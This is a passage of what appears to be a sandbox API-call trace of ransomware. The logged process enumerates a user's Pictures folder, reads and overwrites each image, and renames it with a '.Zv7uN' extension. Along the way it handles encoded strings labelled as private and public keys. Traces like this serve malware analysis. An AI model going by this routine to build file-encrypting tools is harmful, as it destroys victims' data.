nNumberOfBytesToWrite=0xbb83, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0bf70*, lpNumberOfBytesWritten=0x18f6ac*=0xbb83, lpOverlapped=0x0) returned 1 [0085.661] CloseHandle (hObject=0x110) returned 1 [0085.663] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\TtSX604s.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\ttsx604s.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\TtSX604s.png.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\ttsx604s.png.zv7un")) returned 1 [0085.664] GetCurrentThreadId () returned 0xa30 [0085.664] GetCurrentThreadId () returned 0xa30 [0085.664] GetCurrentThreadId () returned 0xa30 [0085.664] GetCurrentThreadId () returned 0xa30 [0085.664] GetCurrentThreadId () returned 0xa30 [0085.664] GetCurrentThreadId () returned 0xa30 [0085.664] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5579acf0, ftCreationTime.dwHighDateTime=0x1d5dbc7, ftLastAccessTime.dwLowDateTime=0xb5ef97b0, ftLastAccessTime.dwHighDateTime=0x1d5e3ed, ftLastWriteTime.dwLowDateTime=0xb5ef97b0, ftLastWriteTime.dwHighDateTime=0x1d5e3ed, nFileSizeHigh=0x0, nFileSizeLow=0xe267, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_HqTmD-7I2qdeb1.gif", cAlternateFileName="_HQTMD~1.GIF")) returned 1 [0085.664] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.664] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\_HqTmD-7I2qdeb1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\_hqtmd-7i2qdeb1.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5579acf0, ftCreationTime.dwHighDateTime=0x1d5dbc7, ftLastAccessTime.dwLowDateTime=0xb5ef97b0, ftLastAccessTime.dwHighDateTime=0x1d5e3ed, ftLastWriteTime.dwLowDateTime=0xb5ef97b0, ftLastWriteTime.dwHighDateTime=0x1d5e3ed, nFileSizeHigh=0x0, nFileSizeLow=0xe267)) returned 1 [0085.665] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\_HqTmD-7I2qdeb1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\_hqtmd-7i2qdeb1.gif")) returned 0x20 [0085.665] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\_HqTmD-7I2qdeb1.gif", dwFileAttributes=0x80) returned 1 [0085.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0085.668] GetCurrentThreadId () returned 0xa30 [0085.668] GetCurrentThreadId () returned 0xa30 [0085.668] GetCurrentThreadId () returned 0xa30 [0085.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.669] GetCurrentThreadId () returned 0xa30 [0085.669] GetCurrentThreadId () returned 0xa30 [0085.669] GetCurrentThreadId () returned 0xa30 [0085.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\_HqTmD-7I2qdeb1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\_hqtmd-7i2qdeb1.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.669] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.669] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.669] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xe267 [0085.670] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.670] ReadFile (in: hFile=0x110, lpBuffer=0x1efff40, nNumberOfBytesToRead=0xe267, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0xe267, lpOverlapped=0x0) returned 1 [0085.672] CloseHandle (hObject=0x110) returned 1 [0085.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\_HqTmD-7I2qdeb1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\_hqtmd-7i2qdeb1.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.676] WriteFile (in: hFile=0x110, lpBuffer=0x1f0ff70*, nNumberOfBytesToWrite=0xe267, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0ff70*, lpNumberOfBytesWritten=0x18f6ac*=0xe267, lpOverlapped=0x0) returned 1 [0085.680] CloseHandle (hObject=0x110) returned 1 [0085.682] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\_HqTmD-7I2qdeb1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\_hqtmd-7i2qdeb1.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\_HqTmD-7I2qdeb1.gif.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zjxh\\_hqtmd-7i2qdeb1.gif.zv7un")) returned 1 [0085.684] GetCurrentThreadId () returned 0xa30 [0085.684] GetCurrentThreadId () returned 0xa30 [0085.684] GetCurrentThreadId () returned 0xa30 [0085.684] GetCurrentThreadId () returned 0xa30 [0085.684] GetCurrentThreadId () returned 0xa30 [0085.684] GetCurrentThreadId () returned 0xa30 [0085.684] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5579acf0, ftCreationTime.dwHighDateTime=0x1d5dbc7, ftLastAccessTime.dwLowDateTime=0xb5ef97b0, ftLastAccessTime.dwHighDateTime=0x1d5e3ed, ftLastWriteTime.dwLowDateTime=0xb5ef97b0, ftLastWriteTime.dwHighDateTime=0x1d5e3ed, nFileSizeHigh=0x0, nFileSizeLow=0xe267, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_HqTmD-7I2qdeb1.gif", cAlternateFileName="_HQTMD~1.GIF")) returned 0 [0085.684] GetLastError () returned 0x12 [0085.684] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0085.684] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZJXH\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa976f0, ftCreationTime.dwHighDateTime=0x1d5d89b, ftLastAccessTime.dwLowDateTime=0x50fd6520, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50fd6520, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0085.684] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0085.684] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.684] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8aa976f0, ftCreationTime.dwHighDateTime=0x1d5d89b, ftLastAccessTime.dwLowDateTime=0x50fd6520, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x50fd6520, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0085.684] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.685] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.685] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc07e4710, ftCreationTime.dwHighDateTime=0x1d5dc60, ftLastAccessTime.dwLowDateTime=0x8efce20, ftLastAccessTime.dwHighDateTime=0x1d5dc47, ftLastWriteTime.dwLowDateTime=0x50e7f8c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14f13, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="6Cqyf 6anxs_CSLAysE.bmp.Zv7uN", cAlternateFileName="6CQYF6~1.ZV7")) returned 1 [0085.685] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: 